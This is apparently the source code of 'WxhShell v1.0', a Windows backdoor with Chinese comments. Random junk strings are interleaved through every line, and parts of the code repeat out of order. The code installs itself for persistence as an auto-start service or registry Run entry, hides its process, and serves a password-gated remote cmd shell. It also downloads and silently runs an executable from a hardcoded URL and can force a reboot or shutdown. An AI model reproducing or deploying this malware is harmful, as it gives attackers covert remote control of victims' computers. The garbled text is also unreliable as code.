)Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @I-gs( AvrvBz[ HANDLE hProcess; .e0)@}Jv8> PROCESS_BASIC_INFORMATION pbi; bKmwXDv' {aUTTEu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S=-$:65 if(NULL == hInst ) return 0; uU3A,-{- siI%6Gn; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `WXlq#:K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h-1?c\Qq: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Mijio ou-UR5 if (!NtQueryInformationProcess) return 0; l90"1I A 2rT^OGw6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v
=y
2 if(!hProcess) return 0; ;DK%!."% ,\v'%,:C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D {Ol8: gep#o$P CloseHandle(hProcess); R6(:l;
W M{5AQzvs hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~x8nC%qPvq if(hProcess==NULL) return 0; pAatv;Ex
"&k(lQ4 HMODULE hMod; xA(z/% char procName[255]; lh'S_p8g unsigned long cbNeeded; y8s!sO _xv3UzD if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); exhU!p8 =w+8q1!o CloseHandle(hProcess); :K^J bQ V2}\]x'1 if(strstr(procName,"services")) return 1; // 以服务启动 PhC3F4 :CE4<
{V return 0; // 注册表启动 KL=<s#
} \wA:58 -j 0pMN@Cz6 // 主模块 '+_>PBOc int StartWxhshell(LPSTR lpCmdLine) cw!,.o%cD { =D$ED^W SOCKET wsl; %a~/q0o> BOOL val=TRUE; 5_'lu int port=0; &;-zy%#l struct sockaddr_in door; 4Wiy2 <v0`r2^S{- if(wscfg.ws_autoins) Install(); RX>P-vp 0uDDaFS port=atoi(lpCmdLine); IANSpWea? o0 C&ol_ if(port<=0) port=wscfg.ws_port; 1]G)41 ~I5hV}ZT WSADATA data; ~)ys,Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m@Yc&M~ \i_E}Ii0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "wOfs$w%s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 95mf door.sin_family = AF_INET; l@B9}Icq door.sin_addr.s_addr = inet_addr("127.0.0.1"); DD$>3` door.sin_port = htons(port); W\kli';jyC y,nmPX?]n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VQla.Y closesocket(wsl); V_SH90@)+ return 1; z/{X{+Z } \nZB@u;S 12n:)yQy if(listen(wsl,2) == INVALID_SOCKET) { n6%` closesocket(wsl); uAPVR return 1; :82h GU } #; ?3kuq( Wxhshell(wsl); xrkl)7; WSACleanup(); B}d&tH2^s *vaYI3{qN return 0; Kn~Rck|
] Zl5'%b$& } @zg}x0] hN'])[+V // 以NT服务方式启动 Tsg9,/vXM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )SmnLvL { KRaL+A DWORD status = 0; LQR2T5S/Q, DWORD specificError = 0xfffffff; 4qie&:4j ZkbE&7Z serviceStatus.dwServiceType = SERVICE_WIN32; 8v;^jo>ug serviceStatus.dwCurrentState = SERVICE_START_PENDING;
BNK]Os serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nzflUR{`- serviceStatus.dwWin32ExitCode = 0; zi-_ l serviceStatus.dwServiceSpecificExitCode = 0; #Lhv=0op serviceStatus.dwCheckPoint = 0; G|g^yaq> serviceStatus.dwWaitHint = 0; nQc#AFg
@yuiNj.T hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O]u'7nO{{ if (hServiceStatusHandle==0) return; "Q.* R_PF*q2 ' status = GetLastError(); s/D)X=P1 if (status!=NO_ERROR) .hat!Tt9 { "@UQSf, serviceStatus.dwCurrentState = SERVICE_STOPPED; sW[-qPK< serviceStatus.dwCheckPoint = 0; jfuHZ^ YA serviceStatus.dwWaitHint = 0; qE~_}4\Z9 serviceStatus.dwWin32ExitCode = status; y+(\:;y$7 serviceStatus.dwServiceSpecificExitCode = specificError; k]@]a SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Y%6y]8 return; y"q
aa } [r/zBF-. &P?2H66s serviceStatus.dwCurrentState = SERVICE_RUNNING; o:@Q1+p serviceStatus.dwCheckPoint = 0; Urr%SIakvM serviceStatus.dwWaitHint = 0; PE%$g\#? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1)(>'pY } I/dy^5@F !ZBtXt#P // 处理NT服务事件,比如:启动、停止 @[n#-!i VOID WINAPI NTServiceHandler(DWORD fdwControl) rpT.n-H>%A { L80(9Y^xn switch(fdwControl) 'h*jL@%TT { p>B2bv+L case SERVICE_CONTROL_STOP: 8 t5kou]h serviceStatus.dwWin32ExitCode = 0; t7+A!7b{ serviceStatus.dwCurrentState = SERVICE_STOPPED; EA& 3rI>U) serviceStatus.dwCheckPoint = 0; xl\Kj2^ serviceStatus.dwWaitHint = 0; m^_=^z+ { Jxe+LG SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~K;QdV=YX } c2npma]DZ return; tq3_az ~1 case SERVICE_CONTROL_PAUSE: ;m(iKwDt serviceStatus.dwCurrentState = SERVICE_PAUSED; sl]<A[jR break; 8-2`S* case SERVICE_CONTROL_CONTINUE: 4_R|3L serviceStatus.dwCurrentState = SERVICE_RUNNING; w_(3{P[Iz break;
THYw_]K case SERVICE_CONTROL_INTERROGATE: -R`{]7V break; YFO{i-*q }; YT\@fgBt SetServiceStatus(hServiceStatusHandle, &serviceStatus); g$nS6w|5H } hS]w
A"\87 ~G!JqdKJ0 // 标准应用程序主函数 YlHP:ZW-cu int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $coO~qvU { X ,QsE{ ,;)ZF // 获取操作系统版本 -#|D> OsIsNt=GetOsVer(); qA)OkR'm GetModuleFileName(NULL,ExeFile,MAX_PATH); cr1x
CPJj ?%,NOX // 从命令行安装 un{ZysmtB6 if(strpbrk(lpCmdLine,"iI")) Install(); m@4Dz| [?!I*=*b // 下载执行文件 6}4})B2 if(wscfg.ws_downexe) { DP ? dC` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wq1>Bj$J8 WinExec(wscfg.ws_filenam,SW_HIDE); *pKTJP } }47h0 i ++0)KSvw if(!OsIsNt) { d ]P~ // 如果时win9x,隐藏进程并且设置为注册表启动 &k}f"TX2 HideProc(); "s+4!, k StartWxhshell(lpCmdLine); r"7n2 } ;P@]7vkff else b9.M'P\ if(StartFromService()) 5~*)3z^V // 以服务方式启动 </h^%mnd StartServiceCtrlDispatcher(DispatchTable); >L7s[vKn else COrk (V // 普通方式启动 Rr)+M3' StartWxhshell(lpCmdLine); ht3.e[%'b (`P\nnb return 0; [0H0%z#tU& } h!EA;2yGKa +EETo): FcDS*ZEk! 4.RQ3SoDa =========================================== zKJ2~= BrV{X&>[i Z~5) )5Ye; xUo6~9s7 m~=~DMj $<}c[Nm " #~ u0R>= LFp "Waiv #include <stdio.h> o5 L ^ #include <string.h> F@w; .e! #include <windows.h> NTg@UT< #include <winsock2.h> Swi#^i #include <winsvc.h> ($[wCHU`! #include <urlmon.h> [ERZ".? zZ5:)YiW- #pragma comment (lib, "Ws2_32.lib") }lJ;|kx$
#pragma comment (lib, "urlmon.lib") hp\&g2_S0W YGp+[|' #define MAX_USER 100 // 最大客户端连接数 tK#R`AQ #define BUF_SOCK 200 // sock buffer K5""%O+ #define KEY_BUFF 255 // 输入 buffer UX 1
)(( JfY*#({y #define REBOOT 0 // 重启 ZCiCZ)oc #define SHUTDOWN 1 // 关机 {@Mr7*u o2 14V \ #define DEF_PORT 5000 // 监听端口 wX$:NOO (i1JRn-f #define REG_LEN 16 // 注册表键长度 vvoxK 0 #define SVC_LEN 80 // NT服务名长度 / HTY>b 8.E"[QktZ // 从dll定义API gYpMwC{*d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ui{%q@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $pGT1oF[E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f:T?oR>2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % RSZ. KyvZ?R // wxhshell配置信息 Tb/TP3N struct WSCFG { TkbaoD int ws_port; // 监听端口 I[\~pi, char ws_passstr[REG_LEN]; // 口令 UM}u(;oo%) int ws_autoins; // 安装标记, 1=yes 0=no eI
#Gx_mg char ws_regname[REG_LEN]; // 注册表键名 APQq F/ char ws_svcname[REG_LEN]; // 服务名 =OVDJ0ozZ char ws_svcdisp[SVC_LEN]; // 服务显示名 8)i""OD@I char ws_svcdesc[SVC_LEN]; // 服务描述信息 g?C;b>4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bF)G+IH int ws_downexe; // 下载执行标记, 1=yes 0=no !3ggQG!e char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d[ N1zQW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H}@:Bri gEA SYIQ }; =bVPHrKNQ >@ t // default Wxhshell configuration C@rGa7 struct WSCFG wscfg={DEF_PORT, FMfpjuHk "xuhuanlingzhe", t^t% >9o 1, taQE
r2Zy "Wxhshell", k4TWfl^}9 "Wxhshell", D:)Wr, 26 "WxhShell Service", cs9^&N:w[ "Wrsky Windows CmdShell Service", JTlk[c "Please Input Your Password: ", rr<E#w 1, >ZA=9v "http://www.wrsky.com/wxhshell.exe", d|`Ll "Wxhshell.exe" *6uccx7{ }; wBPo{ &hCbXs= // 消息定义模块 <N<Q9}`V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EeIDlm0o char *msg_ws_prompt="\n\r? for help\n\r#>"; }\pI`;*O| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P T"}2sR) char *msg_ws_ext="\n\rExit."; tF2"IP. char *msg_ws_end="\n\rQuit."; ~5 ^Jv m char *msg_ws_boot="\n\rReboot..."; 3Ob.OwA char *msg_ws_poff="\n\rShutdown..."; R[WiW RfD char *msg_ws_down="\n\rSave to "; 9g9 2eKS 2wf&jGHs char *msg_ws_err="\n\rErr!"; 2[E wN!IZ char *msg_ws_ok="\n\rOK!"; jm_-f )P$(]{ char ExeFile[MAX_PATH]; 3} A$+PX int nUser = 0; /
)0hsQs HANDLE handles[MAX_USER]; +)]YvZ6%[, int OsIsNt; $YYWpeW
' <hT\xBb: SERVICE_STATUS serviceStatus; ^;C& SERVICE_STATUS_HANDLE hServiceStatusHandle; XtF
m5\U DwD$T%kF // 函数声明 b7Y g~Lw int Install(void); 74s{b]jN'- int Uninstall(void); @hLkU4S int DownloadFile(char *sURL, SOCKET wsh); Cs $5Of( int Boot(int flag); {]vD@)k void HideProc(void); \& JZ
>h int GetOsVer(void); jDzQw>TX int Wxhshell(SOCKET wsl); 1Pf(.&/9_ void TalkWithClient(void *cs); S_}`'Z ) int CmdShell(SOCKET sock); en<mm#Ab int StartFromService(void); Lu.zc='\ int StartWxhshell(LPSTR lpCmdLine); UHBXq;?&q K^-1M? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Io6/Fv>! VOID WINAPI NTServiceHandler( DWORD fdwControl ); f|RmAP;X, {.Tx70kn // 数据结构和表定义 ^l &lwSRVt SERVICE_TABLE_ENTRY DispatchTable[] = 6(
HF)z { [P$Xr6# {wscfg.ws_svcname, NTServiceMain}, n:j'0WW {NULL, NULL} %>_[b, }; 8^mE< Iq$| ?MH
// 自我安装 4=PjS<Lu8 int Install(void) CB@7XUR { :qYp%Ub char svExeFile[MAX_PATH]; 8$00\><r HKEY key; -(VJ,)8t2 strcpy(svExeFile,ExeFile); ul{x|R mh
}M|h5Im // 如果是win9x系统,修改注册表设为自启动 Ts iJK if(!OsIsNt) { |diI(2w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qY_qS=H^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yzK; RegCloseKey(key); vSzpx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K!|eN_1A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VK}4<u RegCloseKey(key); 8&<:(mAP return 0; 'r;mm^cS? } O"m7r ds } wjarQog5Y } MDMd$]CW else { Lx"GBEkt7 q*!R4yE; C // 如果是NT以上系统,安装为系统服务 )m%uSSx# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %1z;l. c if (schSCManager!=0) MqmQ52HR { Z:4/lx7Bq SC_HANDLE schService = CreateService ,GbmL8P7Y ( 56.!L schSCManager, 0RR |!zEu wscfg.ws_svcname, m_NX[>&Y3 wscfg.ws_svcdisp, `FHudSK SERVICE_ALL_ACCESS, .?>Cav9: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ldv@C6+J SERVICE_AUTO_START, L3&Ys3-h SERVICE_ERROR_NORMAL, ^BsT>VSH6 svExeFile, *dBy<dIy NULL, .35(MFvq! NULL, AGhenDNV NULL, >CB-a : NULL, ^W |YE72Y NULL kUT2/3Vi ); X2w)J?pv if (schService!=0) 6Yai?*.Q { ;?h[WIy CloseServiceHandle(schService); L G}{ibB CloseServiceHandle(schSCManager); fI.|QD*$b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qpQ;,8X-" strcat(svExeFile,wscfg.ws_svcname); 9#8vPjXW}. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )>a~ %~: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RQ+, 7Ir RegCloseKey(key); !V|{(>+< return 0; }1a}pm2p } ["Zvwes#7 } G|i0n
CloseServiceHandle(schSCManager); ~id6^#&> } zAgX{$/Fg } Z0gtliJ@ ;QI9 OcE@/ return 1; D
0Xl`0"' } p1N}2]e IQqUFP$8g // 自我卸载 .Rr^AGA4 int Uninstall(void) +Z`=iia> { y6(PG:L HKEY key; {!,K[QwcI 6<&~R3dQ if(!OsIsNt) { KsDS!O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U}92%W? RegDeleteValue(key,wscfg.ws_regname); hBgE%#`s RegCloseKey(key); g 9,"u_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F^,:p.ihm< RegDeleteValue(key,wscfg.ws_regname); $]7f1U_e RegCloseKey(key); Mj0,Y#=76 return 0; ZmK=8iN9J } tE*BZXBlm } ||+~8z#+, } 2mLZ4r>WE else { @K;b7@4y `}X3f#eO& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5F kdGF if (schSCManager!=0) F5)`FM^R { x&B&lFmo8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }#z1>y!# if (schService!=0) ?v^NimcZ { M/ S~"iD if(DeleteService(schService)!=0) { <q63?Ms' CloseServiceHandle(schService); \gA!)q.; CloseServiceHandle(schSCManager); ~^wSwd[ return 0; :saP
:& } ]b-2:M CloseServiceHandle(schService); )O'LE&kQ| } {f06Ki CloseServiceHandle(schSCManager); Gxr\a2Z&r% } I0XJ&P% } ;m7V]h? R >$q return 1; :a wt7lqv } 4v[y^P NcA
`E_3 // 从指定url下载文件 91OxUVd int DownloadFile(char *sURL, SOCKET wsh) 2z>-H595az { ;"dX]": HRESULT hr; zlMh^+rMX char seps[]= "/"; .n:Q~GEL char *token; sXVl4!=l6 char *file; \Vc[/Qp7Bb char myURL[MAX_PATH]; aZ@pfWwa: char myFILE[MAX_PATH];
Pps$=` "i&)+dr- strcpy(myURL,sURL); 0 C4eer+D token=strtok(myURL,seps); i/:L^SQAq while(token!=NULL)
PMjNc_)) { G,C`+1$* file=token; *6I$N>1 token=strtok(NULL,seps); d4o
^+\ } (MGgr J[lC$X[ GetCurrentDirectory(MAX_PATH,myFILE); Hq.rG-,p strcat(myFILE, "\\"); @*%3+9`yq strcat(myFILE, file); ?
AfThJc send(wsh,myFILE,strlen(myFILE),0); a4:GGzt send(wsh,"...",3,0); 0ix(1`Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n;Bb/Z!~ if(hr==S_OK) tN#C.M7.'7 return 0; C?qRZB+W# else 1UP
{j`-K| return 1; 6_mi9_w B=A!hXNa } w/@ZPBRo] n#!c!EfG // 系统电源模块 ERPg TZT int Boot(int flag) #]h
X."b2 { F
~A$7 HANDLE hToken; Jg#0g
eU TOKEN_PRIVILEGES tkp; i(~DhXz*T 7@@g|l] if(OsIsNt) { m6R/, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?/|Xie LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E/cV59 tkp.PrivilegeCount = 1; ^E}?YgNp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ky2]%cw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?:r?K|Ku if(flag==REBOOT) { 21TR_0g&< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u
X,n[u return 0; 4t*%( } (xgw';g else { ?]><#[?'L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x3n9|Uud return 0; "B'c;0@q } >zJHvb)b\ } OIKx:&uIk else { r+#{\~r7T if(flag==REBOOT) { x2v0cR"KL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y[N0P0r l: return 0; )rEl{a } kN=&" else { c64^u9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @)>Z+g return 0; l'I:0a
4T } )<5k+O~ } C0N
:z.)4 l"ms:v return 1; B[8bkFS>] } J~%43!X\K Q`F1t // win9x进程隐藏模块 *)K\&h<{ void HideProc(void) 1L,L/sOwB& { R-%6v2;ry >YI Vi4'' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Cgj
>= if ( hKernel != NULL ) um%_kX { 5L3+KkX@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Vnq|;W3Zv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ar0{MPYd FreeLibrary(hKernel); .B]l@E-u } "t^v;?4 G*IP?c>= return; prZ
,4\ } ,X4b~) +2`BZ}5y // 获取操作系统版本 PC9,;T&7_ int GetOsVer(void) 5x+]uABE { #@FA=p[% OSVERSIONINFO winfo; zRna=h! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M\{n+r-m GetVersionEx(&winfo); MtkU]XKGT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Ly>x>b< return 1; vAX ( 3 else uZ6krI return 0; |aDBp } hDxq9EF Au,oX2$ // 客户端句柄模块 k[@P526 int Wxhshell(SOCKET wsl) ]k!Xb { jn^X{R\ SOCKET wsh; %,bD|
NKp struct sockaddr_in client; -rO34l DWORD myID; Db"mq'vT UDEGQ^)Xz| while(nUser<MAX_USER) t@!n?j
I { ?%5VaxWJ int nSize=sizeof(client); ,D{7=mDVm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e|Ri if(wsh==INVALID_SOCKET) return 1; ;M?)-dpZ ]FCP|Jz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rpKZ>S|7+) if(handles[nUser]==0) b,Wm]N closesocket(wsh); =zFROB\ else AJ7w_'u=@ nUser++; SES.&e|!6 } ?4':~;~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CyIlv0fd} Cu7{>" return 0; 529b. | } = Pv_,% ~
*&\5rPb // 关闭 socket `#$}P;W void CloseIt(SOCKET wsh)
7IxeSxXH { s#Dj>Fej closesocket(wsh); {<yapBMw nUser--; ) lUS' I ExitThread(0); V|u2(* } m|q,ixg -,")GA+[7 // 客户端请求句柄 *s4|'KS2o void TalkWithClient(void *cs) x^K4&'</ { %}@iz(*}> i >3`V6 SOCKET wsh=(SOCKET)cs; ?W'z5'| char pwd[SVC_LEN]; nkHl;;WJ char cmd[KEY_BUFF]; !R8%C!=a char chr[1]; R&|.Lvmc/ int i,j; MtJ-pa~n :{a< ~n` while (nUser < MAX_USER) { g`pq*D mn@1c4y if(wscfg.ws_passstr) { ZeV@ X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [e><^R*u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9d"*Z%!j //ZeroMemory(pwd,KEY_BUFF); 5e7Y M@ng i=0; ox&5}&\ while(i<SVC_LEN) { 3%*igpj\) z 3aGK // 设置超时 %"`p&aE: fd_set FdRead; jt}Re, struct timeval TimeOut; 7.29' FD_ZERO(&FdRead); 7wj2-BWa FD_SET(wsh,&FdRead); ]ogifnwv TimeOut.tv_sec=8; $5pCfW8> TimeOut.tv_usec=0; ZO/e!yju int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ebze_: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +iC:/CJL }T[@G6# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kx&JY9( pwd=chr[0]; ins(RWO if(chr[0]==0xd || chr[0]==0xa) { b^HDN(v pwd=0; \=0;EI-j break; ]1++$Ej } QVjHGY*R i++; o^epXIrIPi }
Nk9=A4=| OG}890$n // 如果是非法用户,关闭 socket h8(#\E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d.+*o } yx8G9SO? PMP{|yEx" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zbnxs.i! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9p8ajlYg, ^8&}Nk[ j while(1) { UC+Qn 65aYH4" ZeroMemory(cmd,KEY_BUFF); d>f;N+O% 7RT{RE // 自动支持客户端 telnet标准 0$|VkMq( j=0; 3#t9pI4 while(j<KEY_BUFF) { IRg2\Hq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /!ElAL
cmd[j]=chr[0]; $^Xxn.B9 if(chr[0]==0xa || chr[0]==0xd) { ~) ;4O8~. cmd[j]=0; ~DD
_n break; "]"0d[d } kZF]BPh. j++; I7vP*YE 7F } 5.^pD9 [mT w"0$cL3 // 下载文件 k^oSG1F if(strstr(cmd,"http://")) { 8sj2@d send(wsh,msg_ws_down,strlen(msg_ws_down),0); a[hF2/* if(DownloadFile(cmd,wsh)) ,t 2CQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); uUfw"*D else Ij(dgY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )>ML7y } g/C 7wc else { "c[> >t j#f/M3 switch(cmd[0]) { OmuE l> :Pq&l. // 帮助 c^= q(V case '?': { 8
o}5QOW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =\]gL%N-| break; w5z]=dN } mRx `G(u:v // 安装 4&NB xe case 'i': { TzC(YWt if(Install()) \];|$FQg send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m5^
YN$b else L@\t]
~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l]|&j`'O break; bpsyO>lx/ } G5qsnTxUJ // 卸载 r^"o!,H9q case 'r': { :fmV||Q if(Uninstall()) MLr L"I" send(wsh,msg_ws_err,strlen(msg_ws_err),0); .g/!u(iy else O5du3[2x7a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m LajiZ Bf break; o2(w } R}Zaz3( Hd // 显示 wxhshell 所在路径 ANPG3^w case 'p': { ]yKwH 9sl char svExeFile[MAX_PATH]; wp:$Tq a$ strcpy(svExeFile,"\n\r"); 8TYh&n=r strcat(svExeFile,ExeFile); KeyKLkg> send(wsh,svExeFile,strlen(svExeFile),0); pJg:afCg break; U+VJiz<! } <@`K^g;W // 重启 ~6#mVP5sU) case 'b': { ZS:[ZehF send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S*}GW-)oA if(Boot(REBOOT)) =3,<(F5Y[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); cY} jPDH else { pjO closesocket(wsh); 5 n 4/}s ExitThread(0); 07^.Z[(pCt } M(8xwo-W break; l&Q@+xb> } gs2qLb // 关机 B#."cg4VR case 'd': { C|}yE;*a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ' q9Ejig if(Boot(SHUTDOWN)) w+rw<,u% send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_g&!zi8~ else { -6 v?iiZr closesocket(wsh); IF>v
-Z ExitThread(0); ?Zv5iI } &/EZn xl break; akw:3+` } \yymp70w // 获取shell :8n?G case 's': { .aZB?MW CmdShell(wsh); :x q^T closesocket(wsh); 9^SrOW6~ ExitThread(0); W(ZEqH2 break; 7TAoWD3
} a
w~a/T: // 退出 'PMzm/;8st case 'x': { ;$a|4_U$m send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JKmd'ZGw CloseIt(wsh); dFeGibI{ break; *y"|/_
* } O'SxTwO // 离开 >y+j!)\ case 'q': { s5 Fn("h]n send(wsh,msg_ws_end,strlen(msg_ws_end),0); yPbOiA*lHz closesocket(wsh); o\j<EQb. WSACleanup(); *=z.H
* exit(1); |q o3
E break; j@JY-^~K5 } -eSI"To L< } 6O5E4= } i\36 s$\ [u3^R] // 提示信息 UIQ=b;J9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *|+ ~V/# } n=fR%<v } }xrrHp <.7W:s,f= return; f2|On6/ } 4z|Yfvq Y!E|X 3 // shell模块句柄 1?+)T%" int CmdShell(SOCKET sock) Z?",+|4 { '.&,.E&{$ STARTUPINFO si; y(#F&^| ZeroMemory(&si,sizeof(si)); hYCyc-W si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GLl@
6S>v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7f=9(Zj PROCESS_INFORMATION ProcessInfo; -JF|770i char cmdline[]="cmd"; \No22Je6d CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a7NX~9g return 0; ]
)x z } Iq":
U 6a`_i // 自身启动模式 FH H2 int StartFromService(void) = &aD!nTx { .+AO3~Dg typedef struct ldoN!J { 5Q72.4HH DWORD ExitStatus; =TI|uD6T DWORD PebBaseAddress; eWx6$_| DWORD AffinityMask; d>4e9M" DWORD BasePriority; B<'V7#L_ ULONG UniqueProcessId; H+2J.&Ch ULONG InheritedFromUniqueProcessId; HNoh B4vt } PROCESS_BASIC_INFORMATION; $j}sxxTT e$(i!G) PROCNTQSIP NtQueryInformationProcess; 7 -V_)FK2c ~h[lu^ZSi static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G@Zi3 5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S+OI?QS J>Rt2K HANDLE hProcess; 8CSvg{B PROCESS_BASIC_INFORMATION pbi; !c`Q?aGV) TAJ 9Y< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y=rW.yK8 if(NULL == hInst ) return 0; Js#c9l{{ `TsfscN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M!6bf g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TbU9
<mY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ez1*} <u($!ATb if (!NtQueryInformationProcess) return 0; 9'8oOBqm3% $X&OGTlw^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E.% F/mM if(!hProcess) return 0; :* /`` C1rCKKh if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d`nS0Tf' $v oyXi`* CloseHandle(hProcess); +#H8d1^5 B
